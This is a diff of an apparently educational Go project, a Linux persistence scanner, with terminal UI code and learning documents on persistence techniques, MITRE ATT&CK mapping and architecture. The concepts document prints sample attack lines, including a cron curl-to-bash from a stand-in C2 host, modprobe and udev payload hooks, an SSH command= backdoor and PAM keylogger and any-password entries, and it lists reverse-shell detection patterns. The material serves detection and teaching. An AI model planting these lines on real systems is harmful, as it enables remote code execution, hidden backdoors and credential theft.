+	HiRed   = color.New(color.FgHiRed).SprintFunc()
+	HiGreen = color.New(color.FgHiGreen).SprintFunc()
+	HiCyan  = color.New(color.FgHiCyan).SprintFunc()
+	HiWhite = color.New(color.FgHiWhite).SprintFunc()
+
+	RedBold = color.New(
+		color.FgRed, color.Bold,
+	).SprintFunc()
+	YellowBold = color.New(
+		color.FgYellow, color.Bold,
+	).SprintFunc()
+	CyanBold = color.New(
+		color.FgCyan, color.Bold,
+	).SprintFunc()
+	GreenBold = color.New(
+		color.FgGreen, color.Bold,
+	).SprintFunc()
+	MagentaBold = color.New(
+		color.FgMagenta, color.Bold,
+	).SprintFunc()
+	WhiteBold = color.New(
+		color.FgWhite, color.Bold,
+	).SprintFunc()
+	HiRedBold = color.New(
+		color.FgHiRed, color.Bold,
+	).SprintFunc()
+
+	Dim       = color.New(color.Faint).SprintFunc()
+	DimItalic = color.New(
+		color.Faint, color.Italic,
+	).SprintFunc()
+	HiBlackItalic = color.New(
+		color.FgHiBlack, color.Italic,
+	).SprintFunc()
+)

PROJECTS/beginner/systemd-persistence-scanner/internal/ui/spinner.go

@@ -0,0 +1,91 @@
+/*
+©AngelaMos | 2026
+spinner.go
+
+Goroutine-backed terminal spinner with graceful stop
+
+Renders a braille-frame animation while scanners run. Hides the
+cursor on start, clears the line on stop, and uses a WaitGroup to
+block until the background goroutine exits cleanly.
+*/
+
+package ui
+
+import (
+	"fmt"
+	"strings"
+	"sync"
+	"time"
+)
+
+var frames = []string{
+	"⠋", "⠙", "⠹", "⠸", "⠼", "⠴", "⠦", "⠧", "⠇", "⠏",
+}
+
+type Spinner struct {
+	msg    string
+	done   chan struct{}
+	wg     sync.WaitGroup
+	mu     sync.Mutex
+	active bool
+}
+
+func NewSpinner(msg string) *Spinner {
+	return &Spinner{msg: msg}
+}
+
+func (s *Spinner) Start() {
+	s.mu.Lock()
+	if s.active {
+		s.mu.Unlock()
+		return
+	}
+	s.active = true
+	s.done = make(chan struct{})
+	s.wg.Add(1)
+	s.mu.Unlock()
+
+	go s.run()
+}
+
+func (s *Spinner) Stop() {
+	s.mu.Lock()
+	if !s.active {
+		s.mu.Unlock()
+		return
+	}
+	s.active = false
+	close(s.done)
+	s.mu.Unlock()
+	s.wg.Wait()
+}
+
+func (s *Spinner) run() {
+	defer s.wg.Done()
+	fmt.Print("\033[?25l")
+
+	ticker := time.NewTicker(80 * time.Millisecond)
+	defer ticker.Stop()
+
+	idx := 0
+	for {
+		select {
+		case <-s.done:
+			clearLine()
+			fmt.Print("\033[?25h")
+			return
+		case <-ticker.C:
+			frame := frames[idx%len(frames)]
+			fmt.Printf(
+				"\r  %s %s",
+				CyanBold(frame),
+				Magenta(s.msg),
+			)
+			idx++
+		}
+	}
+}
+
+func clearLine() {
+	fmt.Print("\r" + strings.Repeat(" ", 80) + "\r")
+}

PROJECTS/beginner/systemd-persistence-scanner/internal/ui/symbol.go

@@ -0,0 +1,29 @@
+/*
+©AngelaMos | 2026
+symbol.go
+
+Named Unicode symbol constants and horizontal rule helper for terminal output
+
+Centralizes every UI glyph used across the CLI so report formatters
+stay readable without hard-coded Unicode literals.
+*/
+
+package ui
+
+import "strings"
+
+const (
+	Arrow       = "→"
+	ArrowRight  = "▸"
+	Check       = "✓"
+	Cross       = "✗"
+	Diamond     = "◆"
+	DividerChar = "━"
+	Dot         = "●"
+	Timer       = "⏱"
+	Shield      = "🛡"
+)
+
+func HRule(width int) string {
+	return strings.Repeat(DividerChar, width)
+}

PROJECTS/beginner/systemd-persistence-scanner/learn/00-OVERVIEW.md

@@ -0,0 +1,118 @@
+# Sentinel - Systemd Persistence Scanner
+
+## What This Is
+
+A single-binary CLI tool that scans a Linux system for persistence mechanisms across 17 scanner modules: systemd units, cron jobs, shell profiles, SSH configuration, LD_PRELOAD hijacking, kernel modules, udev rules, init.d scripts, XDG autostart, at jobs, MOTD scripts, PAM configuration, sshrc login scripts, logrotate hooks, systemd generators, bash completion scripts, and network interface hooks. Every finding is tagged with a MITRE ATT&CK technique ID and a severity from info to critical.
+
+## Why This Matters
+
+Persistence is how attackers survive reboots. After initial access, the first thing a competent adversary does is install a mechanism that brings them back. Linux has dozens of locations where code can be triggered automatically: boot services, login events, hardware changes, scheduled tasks, shell initialization, module loads, device events.
+
+In the 2020 SolarWinds compromise, attackers modified systemd services on Linux build servers to maintain access across updates. In the 2021 Codecov incident, attackers injected curl commands into shell profile scripts on CI/CD runners. The 2022 Orbit Linux malware used LD_PRELOAD to hook libc functions and hide from every detection tool on the system.
+
+**Real world scenarios where this applies:**
+- Incident response triage: drop the binary on a compromised host and get a full persistence inventory in seconds
+- Hardening audits: baseline a clean server, then diff after deployments to catch unintended persistence
+- Threat hunting: sweep a fleet for known persistence patterns like reverse shells in cron or SUID manipulation in profile scripts
+
+## What You'll Learn
+
+This project teaches you how Linux persistence works at every level of the boot and login sequence. By building it yourself, you'll understand:
+
+**Security Concepts:**
+- Linux persistence taxonomy: the 17 categories of locations where code runs automatically
+- MITRE ATT&CK Persistence tactic (TA0003): mapping real techniques to detection logic
+- Heuristic detection: pattern matching for reverse shells, download-and-execute chains, encoded payloads, alias hijacking, and privilege escalation primitives
+- Baseline diffing: establishing known-good state and detecting drift
+
+**Technical Skills:**
+- Go module layout with internal packages, shared types, and a CLI layer
+- Scanner registry pattern with init-time registration and parallel execution
+- Concurrent scanning with errgroup and mutex-protected result collection
+- Compiled regex pattern engine with severity-ranked matching
+- Cobra CLI framework with subcommands, persistent flags, and structured output
+
+**Tools and Techniques:**
+- golangci-lint v2 with gci, gofumpt, golines formatters for consistent code style
+- `go install` for single-command binary distribution
+- just command runner for development workflows
+- JSON output for SIEM ingestion and pipeline integration
+
+## Prerequisites
+
+**Required knowledge:**
+- Go basics: structs, interfaces, goroutines, channels, error handling
+- Linux filesystem layout: /etc, /home, /var/spool, /lib, /run
+- Basic understanding of what services, cron, and shell profiles do
+
+**Tools you'll need:**
+- Go 1.25+ (the go.mod specifies this minimum)
+- golangci-lint v2 (for linting)
+- just (optional, for running development commands)
+
+**Helpful but not required:**
+- Familiarity with systemd unit file syntax
+- Experience with regex patterns
+- Understanding of MITRE ATT&CK framework
+
+## Quick Start
+
+```bash
+cd PROJECTS/beginner/systemd-persistence-scanner
+
+./install.sh
+
+./bin/sentinel scan
+```
+
+Or install globally:
+
+```bash
+go install github.com/CarterPerez-dev/sentinel/cmd/sentinel@latest
+sentinel scan
+```
+
+Expected output: The tool prints the SENTINEL banner in alternating cyan/red, scans all 17 persistence categories in parallel, and displays any findings grouped by severity with color-coded labels, file paths, evidence snippets, and MITRE technique IDs. On a clean system you'll see mostly info-level findings for legitimate services and cron jobs.
+
+## Project Structure
+
+```
+systemd-persistence-scanner/
+├── cmd/sentinel/          # Entry point (main.go)
+├── pkg/types/             # Shared domain types (Finding, Severity, Scanner interface)
+├── internal/
+│   ├── cli/               # Cobra commands (scan, baseline save/diff)
+│   ├── scanner/           # 17 scanner modules + registry + pattern engine + helpers
+│   ├── baseline/          # JSON snapshot save/load/diff
+│   ├── config/            # Ignore-list filtering
+│   ├── report/            # Terminal and JSON output formatters
+│   └── ui/                # Color, spinner, banner, symbols
+├── testdata/              # Fixture files for each scanner's tests
+├── Justfile               # Development command runner
+└── install.sh             # Zero-friction setup script
+```
+
+## Next Steps
+
+1. **Understand the concepts** - Read [01-CONCEPTS.md](./01-CONCEPTS.md) to learn Linux persistence techniques and MITRE ATT&CK mapping
+2. **Study the architecture** - Read [02-ARCHITECTURE.md](./02-ARCHITECTURE.md) to see the scanner registry, parallel execution, and data flow
+3. **Walk through the code** - Read [03-IMPLEMENTATION.md](./03-IMPLEMENTATION.md) for the pattern engine, scanner modules, and baseline diffing
+4. **Extend the project** - Read [04-CHALLENGES.md](./04-CHALLENGES.md) for ideas like adding new scanners and YARA integration
+
+## Common Issues
+
+**"go: go.mod requires go >= 1.25"**
+You need Go 1.25 or later. Download from https://go.dev/dl/
+
+**No findings on a minimal container or VM**
+That's expected. Clean systems have few persistence mechanisms. Try `sentinel scan --root testdata` to scan the bundled test fixtures and see the detection engine in action.
+
+**Permission denied on /var/spool/cron or /etc/shadow**
+Some directories require root access. Run `sudo sentinel scan` for a full system scan, or use `--root` to scan a mounted filesystem image without elevated privileges.
+
+## Related Projects
+
+If you found this interesting, check out:
+- [Linux CIS Hardening Auditor](../../linux-cis-hardening-auditor) - Compliance checking against CIS benchmarks
+- [Simple Vulnerability Scanner](../../simple-vulnerability-scanner) - CVE-based dependency scanning
+- [Linux eBPF Security Tracer](../../linux-ebpf-security-tracer) - Real-time syscall monitoring with eBPF

PROJECTS/beginner/systemd-persistence-scanner/learn/01-CONCEPTS.md

@@ -0,0 +1,314 @@
+# Core Security Concepts
+
+This document explains how Linux persistence works, why attackers use it, and how detection tools find it. These aren't definitions from a textbook. We'll walk through how real attacks play out and what makes each persistence location dangerous.
+
+## Linux Persistence
+
+### What It Is
+
+Persistence is any mechanism that causes attacker code to run again after a reboot, logout, or service restart. The attacker's initial exploit gets them in the door. Persistence keeps the door open.
+
+Linux has no central "startup programs" list. Code can be triggered by dozens of independent subsystems: the init system, the login sequence, the dynamic linker, the device manager, the job scheduler, the shell, and the authentication stack. Each one is a potential persistence location.
+
+### Why It Matters
+
+Without persistence, an attacker loses access the moment the compromised process dies or the system reboots. With persistence, they can survive reboots, kernel updates, password changes, and even partial incident response cleanup (if the responder misses one of the many locations).
+
+The 2022 Orbit Linux malware demonstrated this perfectly. It installed itself via LD_PRELOAD in /etc/ld.so.preload, which meant every single process on the system loaded the malware's shared library. It hooked libc functions to hide its own files, network connections, and processes from tools like ls, netstat, and ps. Even if you knew what to look for, the malware was invisible because it controlled the libraries those tools depend on.
+
+### The Persistence Lifecycle
+
+```
+Initial Access
+    │
+    ▼
+Privilege Escalation (if needed)
+    │
+    ▼
+Persistence Installation
+    │   ┌──────────────────────────────────┐
+    ├──▶│ systemd service                  │
+    ├──▶│ cron job                         │
+    ├──▶│ shell profile injection          │
+    ├──▶│ SSH authorized_keys              │
+    ├──▶│ LD_PRELOAD hijacking             │
+    ├──▶│ kernel module autoload           │
+    ├──▶│ udev rule                        │
+    ├──▶│ PAM backdoor                     │
+    └──▶│ ... 9 more categories            │
+        └──────────────────────────────────┘
+    │
+    ▼
+Callback / C2 Connection
+    │
+    ▼
+Lateral Movement / Objectives
+```
+
+Attackers often install multiple persistence mechanisms as redundancy. If incident response finds and removes the cron job, the systemd timer still fires. If they clean the systemd timer, the shell profile injection still runs on next login.
+
+## Persistence Categories
+
+### Systemd Services and Timers (T1543.002, T1053.006)
+
+Systemd is the init system on most modern Linux distributions. It manages services, timers, sockets, and device units. Attackers create or modify unit files to run arbitrary commands at boot or on a schedule.
+
+A malicious systemd service looks like any other service:
+
+```ini
+[Unit]
+Description=System Health Monitor
+
+[Service]
+ExecStart=/usr/local/bin/health-check
+Restart=always
+
+[Install]
+WantedBy=multi-user.target
+```
+
+The difference is what `/usr/local/bin/health-check` actually does. It might be a reverse shell, a cryptocurrency miner, or a data exfiltration script. The unit file itself looks completely normal.
+
+Systemd timers are the modern replacement for cron. They offer calendar-based and monotonic scheduling:
+
+```ini
+[Timer]
+OnCalendar=*:0/5
+Persistent=true
+```
+
+This fires every 5 minutes and catches up on missed runs. Attackers prefer timers over cron because timers integrate with systemd's dependency system and logging, making them harder to distinguish from legitimate system timers.
+
+**What sentinel checks:** ExecStart/ExecStop/ExecReload directives for suspicious commands, world-writable unit files, recently modified units, drop-in overrides in .d directories, and .path units that trigger on filesystem changes.
+
+### Cron Jobs (T1053.003)
+
+Cron is the classic Unix job scheduler. It checks multiple locations:
+
+```
+/etc/crontab              System crontab with user field
+/etc/cron.d/              Drop-in crontab fragments
+/etc/cron.daily/          Scripts run once per day
+/etc/cron.hourly/         Scripts run once per hour
+/var/spool/cron/crontabs/ Per-user crontabs (crontab -e)
+/etc/anacrontab           Anacron for machines not always on
+```
+
+A typical persistence cron entry:
+
+```
+*/5 * * * * root curl -s http://c2.example.com/update | bash
+```
+
+This downloads and executes a script every 5 minutes. The `curl | bash` pattern is one of the highest-confidence indicators of compromise because legitimate software almost never uses it in cron.
+
+**What sentinel checks:** Every cron location for pattern matches against the detection engine. Parses crontab fields to extract the command portion, checks world-writable cron files.
+
+### Shell Profile Injection (T1546.004)
+
+Every time a user opens a shell, multiple initialization scripts execute in sequence:
+
+```
+Login shell:     /etc/profile → ~/.bash_profile → ~/.bashrc
+Non-login shell: /etc/bash.bashrc → ~/.bashrc
+Zsh:             /etc/zsh/zshrc → ~/.zshrc
+```
+
+Attackers inject commands into any of these files. The injected code runs with the user's privileges every time they log in or open a terminal:
+
+```bash
+export PATH="/tmp/.hidden:$PATH"
+```
+
+This prepends a hidden directory to PATH. Any commands the user runs (like `sudo`, `ssh`, `ls`) will first check `/tmp/.hidden` for a binary with that name. The attacker places trojanized versions there that capture credentials or execute additional payloads before calling the real binary.
+
+**What sentinel checks:** All system and per-user shell RC files, /etc/profile.d/ scripts. Detects alias hijacking (`alias sudo=...`), PATH manipulation to temp directories, LD_PRELOAD exports, encoded payloads, network tool invocations, and background process launches.
+
+### SSH Persistence (T1098.004)
+
+SSH authorized_keys files support options that execute commands on login:
+
+```
+command="/tmp/.backdoor" ssh-rsa AAAA...
+```
+
+Every SSH login with this key runs `/tmp/.backdoor` before (or instead of) the user's shell. The `environment=` option can set arbitrary environment variables, including LD_PRELOAD.
+
+Per-user `~/.ssh/rc` scripts execute on every SSH login, before the shell starts. The system-wide `/etc/ssh/sshrc` does the same for all users. These are legitimate features that attackers repurpose.
+
+Dangerous sshd_config settings like `PermitRootLogin yes` and non-standard `AuthorizedKeysFile` paths are also indicators. Moving authorized_keys to an unusual location (`/opt/.keys/%u`) makes the backdoor harder to find during manual inspection.
+
+**What sentinel checks:** authorized_keys for command= and environment= options, sshd_config for dangerous directives, ~/.ssh/rc and /etc/ssh/sshrc for existence and suspicious content.
+
+### LD_PRELOAD Hijacking (T1574.006)
+
+The dynamic linker loads shared libraries before the program's own libraries. LD_PRELOAD forces a specific library to load first, allowing it to intercept (hook) any function call.
+
+```
+/etc/ld.so.preload
+```
+
+Any library path in this file gets loaded into every dynamically-linked process on the system. This is the most powerful persistence mechanism on Linux because it's invisible to most detection tools. If the malicious library hooks `readdir()`, `stat()`, and `open()`, it can hide its own files from ls, find, and cat.
+
+The Jynx2 rootkit, the Azazel rootkit, and the 2022 Orbit malware all used this technique. /etc/ld.so.preload should almost never contain entries on a production system.
+
+**What sentinel checks:** /etc/ld.so.preload entries (any entry is suspicious; entries pointing to /tmp or /dev/shm are critical), /etc/ld.so.conf.d/ for library paths in temp directories, /etc/environment for LD_PRELOAD exports.
+
+### Kernel Module Autoloading (T1547.006)
+
+Files in /etc/modules-load.d/ list kernel modules loaded at boot. Files in /etc/modprobe.d/ can include `install` directives that run shell commands when a module loads:
+
+```
+install bluetooth /bin/bash -c '/tmp/.payload &'
+```
+
+This runs a shell command whenever the bluetooth module loads. The command field is passed to /bin/sh, so it can contain arbitrary shell code. Most administrators don't audit modprobe configurations because they rarely change.
+
+**What sentinel checks:** modules-load.d for modules loaded at boot (info-level), modprobe.d for install hooks that invoke shell interpreters or network tools.
+
+### Udev Rules (T1546)
+
+Udev manages device events. Rules in /etc/udev/rules.d/ can trigger commands when hardware is plugged in, network interfaces come up, or block devices appear:
+
+```
+ACTION=="add", SUBSYSTEM=="usb", RUN+="/tmp/.backdoor"
+```
+
+This runs a script every time a USB device is connected. The attacker only needs the target to plug in a USB device (or the system to detect a virtual one).
+
+**What sentinel checks:** RUN+= directives for suspicious commands, shell interpreters, temp directory paths, and pattern engine matches.
+
+### PAM Backdoors (T1556.003)
+
+Pluggable Authentication Modules (PAM) control how Linux authenticates users. PAM configuration files in /etc/pam.d/ define a stack of modules for each service (login, sshd, sudo).
+
+Two PAM-based persistence techniques:
+
+1. **pam_exec.so** runs an external script during authentication:
+```
+auth optional pam_exec.so /tmp/.keylogger
+```
+This captures credentials as users authenticate.
+
+2. **pam_permit.so** in the auth stack accepts any credential:
+```
+auth sufficient pam_permit.so
+```
+This allows login with any password. Attackers insert this before the real authentication module.
+
+**What sentinel checks:** pam_exec.so entries (elevated severity when pointing to temp dirs or network tools), pam_permit.so in auth context.
+
+### Additional Categories
+
+**Init.d Scripts (T1037.004):** Legacy SysV init scripts in /etc/init.d/ and /etc/rc.local. Still present and executed on many systems for backward compatibility.
+
+**XDG Autostart (T1547.013):** Desktop .desktop files in /etc/xdg/autostart/ and ~/.config/autostart/ that launch applications on graphical login. The Exec= field can contain arbitrary commands.
+
+**At Jobs (T1053.001):** One-time scheduled jobs in /var/spool/at/. Less common than cron but often overlooked during incident response.
+
+**MOTD Scripts (T1546):** Scripts in /etc/update-motd.d/ execute as root every time a user logs in to generate the message of the day.
+
+**Logrotate Hooks (T1053.003):** Logrotate configurations can include postrotate/prerotate/firstaction/lastaction blocks that execute shell commands when logs are rotated. These run as root on a schedule.
+
+**Systemd Generators (T1543.002):** Executables in /etc/systemd/system-generators/ and equivalent directories run early in the boot process to dynamically create unit files. They execute before most services start.
+
+**Bash Completion (T1546.004):** Scripts in /etc/bash_completion.d/ and ~/.bash_completion source into every interactive shell session. Injected code runs whenever a user opens a terminal.
+
+**Network Interface Hooks (T1546):** Scripts in /etc/NetworkManager/dispatcher.d/ and /etc/network/if-up.d/ execute when network interfaces change state. They run as root.
+
+## MITRE ATT&CK Framework
+
+### What It Is
+
+MITRE ATT&CK is a knowledge base of adversary tactics and techniques based on real-world observations. Each technique has an ID (like T1543.002) that uniquely identifies it across the cybersecurity industry.
+
+The framework organizes techniques into tactics (the "why") and techniques (the "how"):
+
+```
+Tactic: Persistence (TA0003)
+├── T1543.002  Create or Modify System Process: Systemd Service
+├── T1053.003  Scheduled Task/Job: Cron
+├── T1546.004  Event Triggered Execution: Unix Shell Configuration
+├── T1098.004  Account Manipulation: SSH Authorized Keys
+├── T1574.006  Hijack Execution Flow: Dynamic Linker Hijacking
+├── T1547.006  Boot or Logon Autostart: Kernel Modules
+├── T1546      Event Triggered Execution
+├── T1037.004  Boot or Logon Initialization: RC Scripts
+├── T1547.013  Boot or Logon Autostart: XDG Autostart
+├── T1053.001  Scheduled Task/Job: At
+├── T1556.003  Modify Authentication Process: PAM
+└── T1053.006  Scheduled Task/Job: Systemd Timers
+```
+
+### Why It Matters for Detection Engineering
+
+Tagging findings with MITRE IDs serves three purposes:
+
+1. **Communication:** Security teams use technique IDs as a shared vocabulary. "We found T1574.006" is immediately understood across organizations
+2. **Coverage mapping:** Organizations can map their detection capabilities against the ATT&CK matrix to identify blind spots
+3. **Threat intelligence correlation:** If threat intelligence says APT29 uses T1053.003 and T1546.004, defenders can prioritize detection for those techniques
+
+## Heuristic Detection
+
+### Pattern-Based Analysis
+
+Sentinel doesn't just check if files exist. It analyzes their content using compiled regular expressions that match known-malicious patterns. The patterns are ranked by severity:
+
+**Critical patterns** indicate almost-certain compromise:
+- Reverse shell signatures: `/dev/tcp/`, mkfifo+nc, socat+exec, python/perl/ruby socket connections
+- LD_PRELOAD manipulation in configuration files
+- SUID bit manipulation: chmod +s, chmod 4755
+
+**High patterns** indicate likely malicious activity:
+- Download-and-execute chains: `curl ... | bash`, `wget -O /tmp/`
+- Encoded/obfuscated payloads: base64 decode piped to execution
+- Alias hijacking: redefining sudo, ssh, passwd to trojanized versions
+- PATH manipulation to temporary directories
+- Account creation commands in places they shouldn't appear
+
+**Medium patterns** are suspicious but may be legitimate:
+- Network tool invocations (curl, wget, nc) in startup scripts
+- Inline script execution (python -c, perl -e)
+- Temporary directory references in persistent locations
+- Background process launches with nohup/disown
+
+### Why Heuristics Over Signatures
+
+Signature-based detection matches exact known-bad strings (like specific malware hashes). Heuristic detection matches behavioral patterns. An attacker can change their C2 domain every hour, but they still need `curl` to download and `bash` to execute. They can rewrite their reverse shell in any language, but it still needs to open a network socket and redirect stdin/stdout.
+
+The tradeoff: heuristics produce more false positives than signatures. A legitimate cron job that uses curl to check a health endpoint will trigger the network tool pattern. That's why sentinel uses severity levels and the ignore-list mechanism: you baseline the system, suppress known-good findings, and focus on anomalies.
+
+## Baseline Diffing
+
+### The Problem
+
+A production Linux server might have 50+ legitimate systemd services, dozens of cron jobs, and various shell profile customizations. Reporting all of these as findings creates overwhelming noise that makes real threats invisible.
+
+### The Solution
+
+Baseline diffing works in two phases:
+
+1. **Save phase:** Scan the system in a known-good state. Save all findings as a JSON snapshot
+2. **Diff phase:** Scan again later. Compare against the baseline. Report only findings that are new
+
+The comparison uses a composite key of `scanner|path|title` to match findings across scans. If the same systemd service produced the same finding in both the baseline and current scan, it's suppressed. If a new cron job appeared since the baseline, it's reported.
+
+This is the same concept behind file integrity monitoring tools like OSSEC and AIDE, applied specifically to persistence mechanisms.
+
+## Testing Your Understanding
+
+Before moving to the architecture, make sure you can answer:
+
+1. Why would an attacker install multiple persistence mechanisms on the same system?
+2. What makes LD_PRELOAD more dangerous than a cron job as a persistence mechanism?
+3. Why does sentinel flag `curl` in a cron job as medium severity instead of immediately marking it critical?
+
+## Further Reading
+
+**Essential:**
+- [MITRE ATT&CK Persistence Tactic](https://attack.mitre.org/tactics/TA0003/) - The authoritative reference for every technique sentinel detects
+- [The Orbit Linux Malware Analysis](https://www.intezer.com/blog/research/orbit-new-undetected-linux-threat/) - Intezer's writeup on LD_PRELOAD-based rootkit evasion
+
+**Deep dives:**
+- [Linux Persistence Techniques](https://hadess.io/the-art-of-linux-persistence/) - Comprehensive catalog of persistence locations
+- [systemd.exec(5)](https://www.freedesktop.org/software/systemd/man/systemd.exec.html) - Every directive sentinel parses in systemd units

PROJECTS/beginner/systemd-persistence-scanner/learn/02-ARCHITECTURE.md

@@ -0,0 +1,398 @@
+# System Architecture
+
+This document breaks down how sentinel is designed and why certain architectural decisions were made.
+
+## High Level Architecture
+
+```
+┌────────────────────────────────────────────────────────────┐
+│                     CLI Layer (cobra)                       │
+│  cmd/sentinel/main.go → internal/cli/root.go               │
+│  Subcommands: scan, baseline save, baseline diff            │
+│  Flags: --json, --min-severity, --root, --ignore-file       │
+└──────────────────────────┬─────────────────────────────────┘
+                           │
+              ┌────────────┼────────────────┐
+              ▼            ▼                ▼
+┌──────────────────┐ ┌───────────┐ ┌──────────────────┐
+│  Scanner Registry │ │  Config   │ │  Baseline        │
+│  scanner.RunAll() │ │  Ignore   │ │  Save/Load/Diff  │
+│  17 modules       │ │  List     │ │  JSON snapshots   │
+│  parallel via     │ │  Filter   │ │                   │
+│  errgroup         │ │           │ │                   │
+└────────┬─────────┘ └─────┬─────┘ └─────────┬─────────┘
+         │                 │                  │
+         ▼                 ▼                  ▼
+┌──────────────────────────────────────────────────────────┐
+│              []types.Finding                              │
+│  Scanner, Severity, Title, Path, Evidence, MITRE          │
+└──────────────────────────┬───────────────────────────────┘
+                           │
+              ┌────────────┼────────────────┐
+              ▼            ▼                ▼
+┌──────────────────┐ ┌──────────┐ ┌──────────────────┐
+│  Terminal Report  │ │  JSON    │ │  UI (banner,     │
+│  Color-coded      │ │  Report  │ │  spinner, colors)│
+│  severity groups  │ │  stdout  │ │                   │
+└──────────────────┘ └──────────┘ └──────────────────┘
+```
+
+### Component Breakdown
+
+**CLI Layer (internal/cli/)**
+- Purpose: Parse flags, dispatch to scan or baseline workflows, format output
+- Responsibilities: Flag validation, hostname detection, severity filtering, output mode selection
+- Interfaces: Calls scanner.RunAll(), config.LoadIgnoreFile(), baseline.Save/Load/Diff()
+
+**Scanner Registry (internal/scanner/scanner.go)**
+- Purpose: Collect all scanner modules and run them in parallel
+- Responsibilities: Registration at init time, goroutine coordination, result merging
+- Interfaces: Exposes Register(), All(), and RunAll()
+
+**Pattern Engine (internal/scanner/patterns.go)**
+- Purpose: Centralized regex matching for suspicious content across all scanners
+- Responsibilities: Compiled pattern definitions, severity ranking, single-function match API
+- Interfaces: MatchLine() returns (matched, severity, label)
+
+**Config (internal/config/)**
+- Purpose: Load and apply ignore rules to suppress known-good findings
+- Responsibilities: YAML-like file parsing, finding filtering by path/scanner/title
+
+**Baseline (internal/baseline/)**
+- Purpose: Persist scan results and compute diffs between snapshots
+- Responsibilities: JSON serialization, composite-key deduplication
+
+**Report (internal/report/)**
+- Purpose: Render findings as colored terminal output or structured JSON
+- Responsibilities: Severity sorting, color mapping, evidence truncation, summary statistics
+
+**UI (internal/ui/)**
+- Purpose: Terminal presentation (banner, spinner, colors, symbols)
+- Responsibilities: ANSI color functions, braille spinner animation, cursor management
+
+## Data Flow
+
+### Scan Command Flow
+
+Step by step walkthrough of what happens when the user runs `sentinel scan`:
+
+```
+1. main.go imports internal/scanner (blank import)
+   All 17 scanner init() functions call Register()
+   Registry now holds 17 Scanner implementations
+
+2. cobra dispatches to runScan() in cli/scan.go
+   Parses --min-severity, --root, --ignore-file flags
+   Starts spinner if not in JSON mode
+
+3. scanner.RunAll(root) launches 17 goroutines via errgroup
+   Each goroutine calls scanner.Scan(root)
+   Each scanner reads files under root, applies MatchLine()
+   Findings collected under mutex into shared slice
+
+4. config.LoadIgnoreFile() → ignoreList.Filter(findings)
+   Removes any findings matching ignore rules
+
+5. filterBySeverity(findings, minSev)
+   Drops findings below the requested threshold
+
+6. types.Tally(filtered) counts per-severity totals
+
+7. report.PrintTerminal() or report.PrintJSON()
+   Terminal: sort by severity descending, color-code, print summary
+   JSON: encode ScanResult to stdout
+```
+
+### Baseline Diff Flow
+
+```
+1. baseline save: RunAll() → baseline.Save()
+   Serializes findings + hostname + version to JSON file
+
+2. baseline diff: baseline.Load() → RunAll() → baseline.Diff()
+   Loads saved snapshot
+   Runs fresh scan
+   Builds map of known findings by scanner|path|title key
+   Returns only findings not present in baseline
+
+3. Apply ignore-list filter and severity filter
+   Same pipeline as regular scan
+```
+
+## Design Patterns
+
+### Scanner Registry Pattern
+
+**What it is:**
+A central registry that scanners add themselves to during package initialization, decoupling the registry from knowledge of specific scanner implementations.
+
+**How it works:**
+
+Each scanner module (systemd.go, cron.go, etc.) calls Register() in its init() function:
+
+```go
+func init() {
+    Register(&SystemdScanner{})
+}
+```
+
+The registry is just a slice:
+
+```go
+var registry []types.Scanner
+
+func Register(s types.Scanner) {
+    registry = append(registry, s)
+}
+```
+
+The main.go entry point imports the scanner package with a blank import:
+
+```go
+import _ "github.com/CarterPerez-dev/sentinel/internal/scanner"
+```
+
+This triggers all init() functions in the scanner package, populating the registry before main() runs.
+
+**Why we chose it:**
+Adding a new scanner requires zero changes to existing code. Create the file, implement the Scanner interface, call Register() in init(). No switch statements, no factory functions, no configuration files. The Go compiler handles discovery.
+
+**Trade-offs:**
+- Pros: Zero-touch registration, impossible to forget to register (it's in the same file as the scanner)
+- Cons: Init-time side effects, registration order depends on filename sort order (irrelevant since scanners run in parallel)
+
+### Parallel Execution with errgroup
+
+**What it is:**
+All 17 scanners run concurrently in separate goroutines, coordinated by golang.org/x/sync/errgroup.
+
+**How it works:**
+
+```go
+var (
+    mu  sync.Mutex
+    all []types.Finding
+    g   errgroup.Group
+)
+
+for _, s := range registry {
+    g.Go(func() error {
+        results := s.Scan(root)
+        mu.Lock()
+        all = append(all, results...)
+        mu.Unlock()
+        return nil
+    })
+}
+
+_ = g.Wait()
+```
+
+Each scanner goroutine independently reads its set of files, applies pattern matching, and collects findings. The mutex protects the shared findings slice. errgroup.Wait() blocks until all goroutines complete.
+
+**Why we chose it:**
+Scanners are I/O-bound (reading files from disk). Running them in parallel means the total scan time is roughly the time of the slowest scanner, not the sum of all 17. On a system with SSDs, this cuts scan time dramatically.
+
+**Trade-offs:**
+- Pros: Near-linear speedup for I/O-bound work, simple coordination
+- Cons: Findings arrive in non-deterministic order (sorted before display)
+
+### Severity-Ranked Pattern Matching
+
+**What it is:**
+A single function MatchLine() that tests a line of text against all 16 compiled patterns and returns the highest-severity match.
+
+**How it works:**
+
+```go
+func MatchLine(line string) (matched bool, sev Severity, label string) {
+    best := SeverityInfo
+    for _, p := range SuspiciousPatterns {
+        if p.Pattern.MatchString(line) {
+            if !matched || p.Severity > best {
+                best = p.Severity
+                label = p.Label
+            }
+            matched = true
+        }
+    }
+    return matched, best, label
+}
+```
+
+When a line matches multiple patterns (a curl piped to bash matches both NetworkToolPattern and DownloadExecPattern), only the highest severity is reported. This prevents double-counting and ensures findings reflect the most dangerous interpretation.
+
+**Why we chose it:**
+Centralizing patterns means scanners don't duplicate regex definitions. Adding a new pattern to the engine automatically applies it everywhere: systemd, cron, profile, udev, and every other scanner that calls MatchLine().
+
+## Layer Separation
+
+```
+┌────────────────────────────────────┐
+│    Layer 1: pkg/types              │
+│    - Domain types only             │
+│    - No imports from internal      │
+└────────────────────────────────────┘
+           ↓
+┌────────────────────────────────────┐
+│    Layer 2: internal/scanner       │
+│    - File I/O and pattern matching │
+│    - Returns []types.Finding       │
+│    - No knowledge of CLI or output │
+└────────────────────────────────────┘
+           ↓
+┌────────────────────────────────────┐
+│    Layer 3: internal/cli           │
+│    - Orchestrates scan pipeline    │
+│    - Applies filters               │
+│    - Dispatches to report layer    │
+└────────────────────────────────────┘
+           ↓
+┌────────────────────────────────────┐
+│    Layer 4: internal/report + ui   │
+│    - Presentation only             │
+│    - Terminal colors, JSON encoding│
+└────────────────────────────────────┘
+```
+
+### What Lives Where
+
+**pkg/types:** Severity constants, Finding struct, ScanResult struct, Scanner interface. Imported by everything. Imports nothing internal.
+
+**internal/scanner:** All 17 scanner implementations, pattern engine, filesystem helpers, registry. Imports only pkg/types. Has no knowledge of CLI flags, output format, or filtering.
+
+**internal/config:** Ignore-list loading and filtering. Imports pkg/types.
+
+**internal/baseline:** Snapshot persistence and diff computation. Imports pkg/types.
+
